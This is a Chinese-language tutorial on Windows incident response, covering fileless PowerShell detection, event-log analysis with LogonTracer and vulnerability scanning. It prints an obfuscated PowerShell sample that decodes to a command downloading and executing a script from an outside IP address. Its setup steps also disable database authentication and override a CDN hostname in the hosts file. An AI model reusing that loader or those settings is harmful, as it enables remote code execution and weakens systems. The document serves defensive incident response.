Windows应急响应分析
字数 3265 2025-08-09 13:33:52

Windows应急响应分析教学文档

1. Windows应急响应概述

Windows应急响应是指对Windows系统遭受攻击或出现安全事件时进行快速检测、分析和处置的过程。随着网络安全威胁日益复杂,掌握Windows应急响应技能对安全人员至关重要。

1.1 应急响应排查方向

在Windows应急响应中,可以从以下9个方面进行排查:

  1. 异常进程和用户:检查系统中运行的异常进程和可疑用户账户
  2. 敏感端口开放情况:检查系统开放的可疑端口
  3. 密码强度:评估系统账户密码强度
  4. 日志分析:分析系统日志、安全日志等
  5. 异常启动项、服务、计划任务:检查系统启动项、服务和计划任务
  6. 注册表信息:检查注册表中的可疑项
  7. 系统缺陷:识别系统存在的漏洞和缺陷
  8. 流氓软件:检测和清除恶意捆绑软件
  9. 其他:包括文件分析、内存分析等

2. 无文件攻击应急响应

2.1 PowerShell无文件攻击

PowerShell是Windows系统自带的强大工具,攻击者常利用其进行无文件攻击,特点包括:

  • 方便、有效和隐蔽
  • 可混在正常网络流量中
  • 留下的痕迹较少,难以检测

常用PowerShell参数:

  • -NoP:不加载Windows PowerShell配置文件
  • -NonI:命令行运行后不和用户进行交互
  • -W Hidden:将命令行运行窗口隐藏
  • -E:接受base-64编码字符串版本的命令

2.2 无文件攻击检测方法

  1. 网络连接检查

    netstat -ano  # 查看所有网络连接
    netstat -ano | findstr "port"  # 查看特定端口连接
    
  2. 进程检查

    tasklist | findstr "PID"  # 查看特定PID的进程
    tasklist /svc  # 显示进程和服务信息
    tasklist /m  # 显示进程和加载的DLL
    
  3. 可疑PowerShell进程

    • 正常情况下只有一个powershell进程
    • 出现多个powershell进程可能表明存在攻击
  4. 内存分析

    • 使用Process Hacker等工具dump可疑进程内存
    • 在内存中搜索可疑代码片段

2.3 无文件攻击示例分析

发现的可疑PowerShell脚本示例:

Set-StrictMode -Version 2 & ((VaRIAble '*mdR*' ).NaME[ 3 , 11 , 2 ]-join '' )( -joiN ( '36M68M111X73A116G61~32~40B40G78M101G119T45j79j98T106~101B99X101T32X83v121G115B116T101A109~46v78i101M116X46X87B101X98i99v108M105M101A110j116X41B46v68T111~119T110T108M111X97X100A83~116T114M105~110A103j40T39v104j116v116j112T58X47v47v52T55G46i49i49M51j46j50~49M55X46X49X50X56v47B115M115j121M121B46~116G120T116G39B41X41' .SPLIT( 'A~TGiBXvjM' )| fOReAcH - obJeCt { ( [ inT ] $_ - as [CHAr]) }))

分析要点:

  1. 脚本进行了混淆处理
  2. 包含base64编码的字符串
  3. 可能从远程服务器下载并执行恶意代码
  4. 上传VT查杀率低(5/56),说明使用了免杀技术

2.4 无文件攻击处置

  1. 查找并删除恶意文件

    • 使用FileSeek等工具搜索可疑文件
    • 检查快速访问记录(此电脑→查看→选项)
  2. 检查用户账户

    net user  # 查看用户账户
    
    • 注意:net user不能完全确定有无可疑用户,需检查注册表
  3. 检查启动项、服务和计划任务

3. 系统缺陷分析

Windows系统可能存在各种缺陷导致安全问题,例如:

  • TCP/IP端口耗尽问题
    • 影响系统:Windows 7、Windows Server 2008、Windows Server 2008 R2
    • 症状:大量40000或50000以上端口处于TIME_WAIT状态
    • 后果:系统启动497天后可能无法创建新TCP/IP会话
    • 解决方案:参考微软官方公告和应用补丁

4. 流氓软件分析

流氓软件通常表现为:

  • 捆绑安装其他软件
  • 占用大量内存和CPU资源
  • 不断推送广告

清除方法:

  1. 结束任务管理器中的可疑进程
  2. 找到并删除相关文件
  3. 使用360安全卫士或火绒安全的文件粉碎工具

预防措施:

  • 安装软件时注意取消勾选捆绑选项
  • 避免从不信任来源下载软件

5. Windows日志分析

Windows系统记录多种日志,包括:

  • Windows事件日志(Event Log)
  • IIS日志
  • FTP日志
  • Exchange Server邮件服务日志
  • MS SQL Server数据库日志

5.1 日志查看工具

  1. 事件查看器:Windows自带工具
  2. LogFusion:更直观的第三方日志查看工具

5.2 重要事件ID

事件ID 说明
1102 清理审计日志
4624 账号成功登录
4625 账号登录失败
4672 授予特殊权限
4720 创建用户
4726 删除用户
4728 将成员添加到启用安全的全局组中
4729 将成员从安全的全局组中移除
4732 将成员添加到启用安全的本地组中
4733 将成员从启用安全的本地组中移除
4756 将成员添加到启用安全的通用组中
4757 将成员从启用安全的通用组中移除
4719 系统审计策略修改
4768 Kerberos身份验证(TGT请求)
4769 Kerberos服务票证请求
4776 NTLM身份验证

5.3 使用LogonTracer进行日志分析

LogonTracer是基于Python和Neo4j的可视化日志分析工具,可将登录事件中的主机名、IP地址和账户名称关联并以图形化方式展现。

5.3.1 Docker安装LogonTracer

  1. 拉取镜像:

    docker pull jpcertcc/docker-logontracer
    
  2. 运行容器:

    docker run --detach --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 -e LTHOSTNAME=192.168.1.109 jpcertcc/docker-logontracer
    
  3. 解决常见问题:

    • 认证问题:修改neo4j.conf,取消验证机制

      docker exec -it [容器ID] /bin/sh
      vim conf/neo4j.conf
      

      修改为:dbms.security.auth_enabled=false

    • JS文件无法加载

      1. 修改hosts文件:
        151.139.237.11 cdn.rawgit.com
        
      2. 修改index.html中的jQuery引用:
        vim /usr/local/src/LogonTracer/templates/index.html
        
        https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js
        改为https://ajax.loli.net/ajax/libs/jquery/3.2.1/jquery.min.js

5.3.2 LogonTracer功能

  1. 主要分析选项

    • All Users:所有用户登录信息
    • SYSTEM Privileges:管理员账号登录(类型3或10)
    • NTLM Remote Logon:NTLM远程登录(类型3)
    • RDP Logon:远程桌面登录(类型10)
    • Network Logon:网络登录(类型3)
    • Batch Logon:批处理登录(类型4)
    • Service Logon:服务登录(类型5)
    • Ms14-068 Exploit Failure:MS14-068漏洞利用失败
    • Logon Failure:登录失败信息
    • Detect DCsync/DCShadow
    • Add/Detect Users:添加/删除用户
    • Domain Check:域检查
    • Audit Policy Change:审计策略变更
  2. 常见问题解决

    • 界面加载问题:尝试更换浏览器
    • 解析错误:确保Time Zone选择正确(中国为+8)

6. 系统漏洞扫描

6.1 WindowsVulnScan工具

功能:

  • 查找主机上的CVE漏洞
  • 查找具有公开EXP的CVE
  • 原理:
    1. 收集CVE与KB的对应关系
    2. 查找特定CVE是否有公开EXP
    3. 利用PowerShell收集系统版本和KB信息
    4. 匹配存在公开EXP的CVE

使用步骤:

  1. 运行PowerShell脚本收集信息:

    .\KBCollect.ps1
    

    生成KB.json文件

  2. 安装Python依赖:

    python3 -m pip install requirements.txt
    
  3. 创建CVEKB数据库:

    python3 cve-check.py -u
    
  4. 更新数据库:

    python3 cve-check.py -U
    

    可选模式:

    • -m All:更新所有
    • -m Empty:只更新hasPOC字段为空的
    • -m Error:只更新hasPOC字段为Error的

6.2 收集系统服务信息

Get-WmiObject -class Win32_Product

7. 防御加固建议

  1. 及时修复漏洞

    • Web应用漏洞
    • 服务器第三方服务漏洞(MySQL、Redis、FTP等)
  2. 安全意识

    • 防止社工攻击
    • 使用强密码策略
    • 避免密码重用
  3. 技术防护

    • 部署防护软件(如EDR解决方案)
    • 定期数据备份
    • 部署监控告警系统(邮件、微信等通知)
  4. 日志管理

    • 确保日志记录完整
    • 定期审计日志
    • 使用SIEM系统集中管理日志

8. 总结

Windows应急响应需要:

  1. 全面检查系统各个组件
  2. 熟悉常见攻击手法(如无文件攻击)
  3. 掌握日志分析技能
  4. 了解系统漏洞和加固方法
  5. 不断总结和扩充知识

通过应急响应实践,不仅可以提升安全防御能力,还能了解最新的攻击技术和方法。

Windows应急响应分析教学文档 1. Windows应急响应概述 Windows应急响应是指对Windows系统遭受攻击或出现安全事件时进行快速检测、分析和处置的过程。随着网络安全威胁日益复杂,掌握Windows应急响应技能对安全人员至关重要。 1.1 应急响应排查方向 在Windows应急响应中,可以从以下9个方面进行排查: 异常进程和用户 :检查系统中运行的异常进程和可疑用户账户 敏感端口开放情况 :检查系统开放的可疑端口 密码强度 :评估系统账户密码强度 日志分析 :分析系统日志、安全日志等 异常启动项、服务、计划任务 :检查系统启动项、服务和计划任务 注册表信息 :检查注册表中的可疑项 系统缺陷 :识别系统存在的漏洞和缺陷 流氓软件 :检测和清除恶意捆绑软件 其他 :包括文件分析、内存分析等 2. 无文件攻击应急响应 2.1 PowerShell无文件攻击 PowerShell是Windows系统自带的强大工具,攻击者常利用其进行无文件攻击,特点包括: 方便、有效和隐蔽 可混在正常网络流量中 留下的痕迹较少,难以检测 常用PowerShell参数: -NoP :不加载Windows PowerShell配置文件 -NonI :命令行运行后不和用户进行交互 -W Hidden :将命令行运行窗口隐藏 -E :接受base-64编码字符串版本的命令 2.2 无文件攻击检测方法 网络连接检查 : 进程检查 : 可疑PowerShell进程 : 正常情况下只有一个powershell进程 出现多个powershell进程可能表明存在攻击 内存分析 : 使用Process Hacker等工具dump可疑进程内存 在内存中搜索可疑代码片段 2.3 无文件攻击示例分析 发现的可疑PowerShell脚本示例: 分析要点: 脚本进行了混淆处理 包含base64编码的字符串 可能从远程服务器下载并执行恶意代码 上传VT查杀率低(5/56),说明使用了免杀技术 2.4 无文件攻击处置 查找并删除恶意文件 : 使用FileSeek等工具搜索可疑文件 检查快速访问记录(此电脑→查看→选项) 检查用户账户 : 注意:net user不能完全确定有无可疑用户,需检查注册表 检查启动项、服务和计划任务 3. 系统缺陷分析 Windows系统可能存在各种缺陷导致安全问题,例如: TCP/IP端口耗尽问题 : 影响系统:Windows 7、Windows Server 2008、Windows Server 2008 R2 症状:大量40000或50000以上端口处于TIME_ WAIT状态 后果:系统启动497天后可能无法创建新TCP/IP会话 解决方案:参考微软官方公告和应用补丁 4. 流氓软件分析 流氓软件通常表现为: 捆绑安装其他软件 占用大量内存和CPU资源 不断推送广告 清除方法: 结束任务管理器中的可疑进程 找到并删除相关文件 使用360安全卫士或火绒安全的文件粉碎工具 预防措施: 安装软件时注意取消勾选捆绑选项 避免从不信任来源下载软件 5. Windows日志分析 Windows系统记录多种日志,包括: Windows事件日志(Event Log) IIS日志 FTP日志 Exchange Server邮件服务日志 MS SQL Server数据库日志 5.1 日志查看工具 事件查看器 :Windows自带工具 LogFusion :更直观的第三方日志查看工具 5.2 重要事件ID | 事件ID | 说明 | |--------|------| | 1102 | 清理审计日志 | | 4624 | 账号成功登录 | | 4625 | 账号登录失败 | | 4672 | 授予特殊权限 | | 4720 | 创建用户 | | 4726 | 删除用户 | | 4728 | 将成员添加到启用安全的全局组中 | | 4729 | 将成员从安全的全局组中移除 | | 4732 | 将成员添加到启用安全的本地组中 | | 4733 | 将成员从启用安全的本地组中移除 | | 4756 | 将成员添加到启用安全的通用组中 | | 4757 | 将成员从启用安全的通用组中移除 | | 4719 | 系统审计策略修改 | | 4768 | Kerberos身份验证(TGT请求) | | 4769 | Kerberos服务票证请求 | | 4776 | NTLM身份验证 | 5.3 使用LogonTracer进行日志分析 LogonTracer是基于Python和Neo4j的可视化日志分析工具,可将登录事件中的主机名、IP地址和账户名称关联并以图形化方式展现。 5.3.1 Docker安装LogonTracer 拉取镜像: 运行容器: 解决常见问题: 认证问题 :修改neo4j.conf,取消验证机制 修改为: dbms.security.auth_enabled=false JS文件无法加载 : 修改hosts文件: 修改index.html中的jQuery引用: 将 https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js 改为 https://ajax.loli.net/ajax/libs/jquery/3.2.1/jquery.min.js 5.3.2 LogonTracer功能 主要分析选项 : All Users:所有用户登录信息 SYSTEM Privileges:管理员账号登录(类型3或10) NTLM Remote Logon:NTLM远程登录(类型3) RDP Logon:远程桌面登录(类型10) Network Logon:网络登录(类型3) Batch Logon:批处理登录(类型4) Service Logon:服务登录(类型5) Ms14-068 Exploit Failure:MS14-068漏洞利用失败 Logon Failure:登录失败信息 Detect DCsync/DCShadow Add/Detect Users:添加/删除用户 Domain Check:域检查 Audit Policy Change:审计策略变更 常见问题解决 : 界面加载问题:尝试更换浏览器 解析错误:确保Time Zone选择正确(中国为+8) 6. 系统漏洞扫描 6.1 WindowsVulnScan工具 功能: 查找主机上的CVE漏洞 查找具有公开EXP的CVE 原理: 收集CVE与KB的对应关系 查找特定CVE是否有公开EXP 利用PowerShell收集系统版本和KB信息 匹配存在公开EXP的CVE 使用步骤: 运行PowerShell脚本收集信息: 生成KB.json文件 安装Python依赖: 创建CVEKB数据库: 更新数据库: 可选模式: -m All :更新所有 -m Empty :只更新hasPOC字段为空的 -m Error :只更新hasPOC字段为Error的 6.2 收集系统服务信息 7. 防御加固建议 及时修复漏洞 : Web应用漏洞 服务器第三方服务漏洞(MySQL、Redis、FTP等) 安全意识 : 防止社工攻击 使用强密码策略 避免密码重用 技术防护 : 部署防护软件(如EDR解决方案) 定期数据备份 部署监控告警系统(邮件、微信等通知) 日志管理 : 确保日志记录完整 定期审计日志 使用SIEM系统集中管理日志 8. 总结 Windows应急响应需要: 全面检查系统各个组件 熟悉常见攻击手法(如无文件攻击) 掌握日志分析技能 了解系统漏洞和加固方法 不断总结和扩充知识 通过应急响应实践,不仅可以提升安全防御能力,还能了解最新的攻击技术和方法。